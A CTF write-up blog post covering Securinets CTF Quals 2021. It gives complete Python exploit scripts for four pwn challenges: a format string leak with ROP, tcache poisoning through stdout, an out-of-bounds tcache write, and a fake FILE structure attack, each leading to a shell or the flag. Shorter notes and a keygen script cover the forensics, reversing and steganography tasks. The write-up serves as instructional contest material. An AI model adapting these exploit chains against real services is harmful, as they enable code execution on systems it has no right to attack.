CTFするぞ

CTF以外のことも書くよ

Securinets CTF Quals 2021 Writeups

I solved all of the pwn tasks, one forensics, steganography, and rev task with other members. Although I felt the stego and forensics tasks somewhat guessy, I enjoyed the CTF overall.

f:id:ptr-yudai:20210322141102p:plain

Solving those pwn tasks after the heavy LINE CTF was a nice change of pace and I enjoyed it. The tasks are neither too easy nor too hard. (My favourite style!)

Other members' write-upts:

furutsuki.hatenablog.com

st98.github.io

Here is my very concise writre-ups.

[Pwn 810pts] kill shot (24 solves)

  • Seccomp protected binary
  • Format String Bug to leak the libc and stack address
  • Write What Where to link fastbinY to the stack
  • Get some chunks from fastbin, which eventually pops the stack region
  • ROP to win
from ptrlib import *

def add(size, data):
    sock.sendlineafter("exit", "1")
    sock.sendlineafter("Size: ", str(size))
    sock.sendafter("Data: ", data)
def delete(index):
    sock.sendlineafter("exit", "2")
    sock.sendlineafter("Index: ", str(index))

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./kill_shot")
"""
libc = ELF("libc.so.6")
sock = Socket("bin.q21.ctfsecurinets.com", 1338)
#"""

sock.sendlineafter(": ", "%6$p.%25$p.%15$p\n")
r = sock.recvline().split(b'.')
addr_stack = int(r[0], 16) - 0x180
libc_base = int(r[1], 16) - libc.symbol('__libc_start_main') - 0xe7
canary = int(r[2], 16)
logger.info("stack = " + hex(addr_stack))
logger.info("libc = " + hex(libc_base))
logger.info("canary = " + hex(canary))

sock.sendafter("Pointer: ", str(libc_base + libc.main_arena() + 0x38))
sock.sendafter("Content: ", p64(addr_stack - 3))

addr_flag = addr_stack + 0x10
#rop_pop_rdi = libc_base + 0x000215bf
#rop_pop_rsi = libc_base + 0x00023eea
#rop_pop_rdx_rsi = libc_base + 0x00130569
rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e8a
rop_pop_rdx_rsi = libc_base + 0x00130889

for i in range(7):
    add(0x68, "legoshi")
payload = b'A' * 3
payload += b'/home/ctf/flag.txt\0'
payload += b"A" * (0x38+3 - len(payload))
payload += p64(rop_pop_rdx_rsi)
payload += p64(0x1000) + p64(addr_stack + 0x68)
payload += p64(libc_base + libc.symbol("read"))
payload += b'A' * (0x68 - len(payload))
add(0x68, payload)

payload = flat([
    # openat(AT_FDCWD, "path to flag", O_RDONLY)
    rop_pop_rdi,
    -100,
    rop_pop_rdx_rsi,
    0, addr_stack + 0x10,
    libc_base + libc.symbol("openat"),
    # read(5, flag, 0x60)
    rop_pop_rdi,
    5,
    rop_pop_rdx_rsi,
    0x60, addr_stack,
    libc_base + libc.symbol("read"),
    # write(1, flag, 0x60)
    rop_pop_rdi,
    1,
    libc_base + libc.symbol("write"),
], map=p64)
sock.send(payload)

sock.interactive()

[Pwn 988pts] Membership Management (7 solves)

  • Use-after-Free
  • No function to print the note
  • Corrupt tcache and link to _IO_2_1_stdout_
  • Leak libc base and win
from ptrlib import *
import time

def new():
    sock.sendlineafter(">", "1")
def delete(index):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(": ", str(index))
def edit(index, data):
    sock.sendlineafter(">", "3")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", data)

libc = ELF("libc-2.31.so")
#sock = Socket("localhost", 9999)
sock = Socket("bin.q21.ctfsecurinets.com", 1339)

# link _IO_2_1_stdout_
logger.info("preparing...")
for i in range(14):
    new()
logger.info("evil writer")
delete(0)
delete(1)
edit(1, b'\xe0')
new() # 0
new() # 1 = evil writer
logger.info("overlap")
delete(2)
delete(3)
edit(3, b'\x00')
new() # 2
new() # 3 = 0: overlap
delete(2)
delete(3)
payload = b'\x00' * 0x18 + p64(0x421)
edit(1, payload)
delete(0)
payload = b'\x00' * 0x18 + p64(0x61)
payload += b'\xa0\x16'
edit(1, payload)

# libc leak
logger.info("leak go")
new() # 0
new() # 2
logger.info("edit")
payload  = p64(0xfbad1800)
payload += p64(0) * 3
payload += b'\x08'
edit(2, payload)
libc_base = u64(sock.recvuntil("- sub")[:8]) - libc.symbol('_IO_2_1_stdin_')
logger.info("libc = " + hex(libc_base))
if libc_base > 0x7fffffffffff or libc_base < 0:
    logger.warn("Bad luck!")
    exit(1)

# win
delete(4)
delete(5)
edit(5, p64(libc_base + libc.symbol('__free_hook')))
new() # 3
new() # 4
edit(4, p64(libc_base + libc.symbol('system')))
edit(10, "/bin/sh\0")
delete(10)

sock.interactive()

[Pwn 896pts] Death Note (18 solves)

  • Negative index is allowed in edit
  • Because of the OOB, we can use the pointers in tcache structure
  • Modify the note list to get the AAR/AAW primitive
from ptrlib import *

def add(size):
    sock.sendlineafter("Exit", "1")
    sock.sendlineafter(":", str(size))
def edit(index, data):
    sock.sendlineafter("Exit", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", data)
def delete(index):
    sock.sendlineafter("Exit", "3")
    sock.sendlineafter(": ", str(index))
def view(index):
    sock.sendlineafter("Exit", "4")
    sock.sendlineafter(": ", str(index))
    return sock.recvline()

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./death_note")
libc = ELF("libc.so.6")
sock = Socket("bin.q21.ctfsecurinets.com", 1337)

# heap leakw
for i in range(10):
    add(0xf8)
delete(0)
delete(1)
add(0xf8)
heap_base = u64(view(0)) - 0x2c0
logger.info("heap = " + hex(heap_base))

# overlap notelist
delete(0)
edit(-0x34, p64(heap_base + 0x2a0))
add(0xf8)
add(0xf8) # 1 = evil note

# libc leak
edit(1, p64(heap_base + 0x2b0))
edit(8, p64(0) + p64(0x421))
edit(1, p64(heap_base + 0x6d0))
edit(8, (p64(0) + p64(0x21)) * 3)
edit(1, p64(heap_base + 0x2c0))
delete(8)
edit(1, p64(heap_base + 0x2c0))
libc_base = u64(view(8)) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

# pwn
edit(1, p64(libc_base + libc.symbol("__free_hook")))
edit(8, p64(libc_base + libc.symbol("system")))
edit(0, "/bin/sh\0")
delete(0)

sock.interactive()

[Pwn 957pts] Success (12 solves)

  • Out of bound write on the array
  • We can overwrite the lower 32-bit of the pointer to a FILE structure
  • The memory map of the heap and process shares the same upper 32-bit address
  • We can fclose a fake FILE structure
from ptrlib import *

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./main2_success")
"""
libc = ELF("libc.so.6")
sock = Socket("bin.q21.ctfsecurinets.com", 1340)
#"""

sock.sendafter("username: ", "1"*8)
proc_base = u64(sock.recvlineafter("1"*8)[:6]) - 0x1090
logger.info("proc = " + hex(proc_base))
sock.sendafter("username: ", "2"*0x38)
libc_base = u64(sock.recvlineafter("2"*0x38)[:6]) - libc.symbol('_IO_2_1_stdout_')
logger.info("libc = " + hex(libc_base))
sock.sendafter("username: ", "PINA\0")

sock.sendlineafter(": ", "64")
new_size = libc_base + next(libc.find("/bin/sh"))
fake_file  = p64(0xfbad1800)
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64((new_size - 100) // 2) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64((new_size - 100) // 2) # _IO_buf_end
fake_file += p64(0) * 4
fake_file += p64(libc_base + libc.symbol("_IO_2_1_stderr_"))
fake_file += p64(3) + p64(0)
fake_file += p64(0) + p64(libc_base + 0x3ed8c0)
fake_file += p64((1<<64) - 1) + p64(0)
fake_file += p64(libc_base + 0x3eb8c0)
fake_file += p64(0) * 6
fake_file += p64(libc_base + 0x3e8360 + 8) # _IO_str_jumps + 8
fake_file += p64(libc_base + libc.symbol("system"))
fake_file += b'A' * (0x100 - len(fake_file))
fake_file += p32((proc_base + 0x202060) & 0xffffffff)
for block in chunks(fake_file, 4):
    sock.sendlineafter(": ", str(u32(block, type=float)))

sock.interactive()

[Forensics 655pts] What App is on Fire?

  • 4.5GB rar file given (what?)
  • EWF disk image for a Windows machine
  • WhatsApp and FireFox are installed
  • Link to google drive in the message db
  • The half flag and a link to a login form written in the google drive
  • Credential of the form is saved in the FireFox profile
  • Login to get the rest half of the flag

[Reversing 100pts] Little Baby Rev (68 solves)

  • ELF binary created by Nim-lang
  • Dynamically check the string at the strcmp-like function
  • Found the flag there

[Reversing 930pts] RUN! (15 solves)

  • Reversing done by a team member
  • Keygen challenge
  • The goal is: Given a sequence r_{i} (i \in {0, 1, 2, \cdots, 255}), find a_{j} (j>0) such that \sum{r_{a_{j}}} \equiv 773558 \mod 13371337
  • r_{i} depends on the username
  • Find username suchthat r_{i} contains 1
  • The index of the element 1 is helpful to make \sum{r_{a_{j}}} = 773558 satisfy
class LameRand: # credit to x0r19x91 sensei
    def __init__(self, seed):
        self.next = seed
    
    def rand(self):
        self.next = self.next * 0x343FD + 0x269EC3
        self.next = self.next & 0xffffffff
        return (self.next >> 0x10) & 0x7FFF

for seed in range(1, 0x100):
    lm = LameRand(seed)
    rr = [lm.rand() for i in range(0x100)]
    if 1 in rr:
        break

X = 0xbcdb6
username = chr(seed)

v = X
key = ''
while True:
    l = list(filter(lambda x: x < v, rr))
    if l == []:
        break
    n = rr.index(max(l))
    key += f'{n:02x}' * (v // rr[n])
    v = v % rr[n]
    print(v)

n = rr.index(1)
key += f'{n:02x}' * v

print(key)
print(username)

[Steganography 793pts] Extrafiltration (25 solves)

  • Linke to a tweet given
  • Two images in the tweet and its reply
  • Binwalk revealed a zip file in the first image, which are not important
  • Zteg revealed a mpeg file in the second image, which contains the flag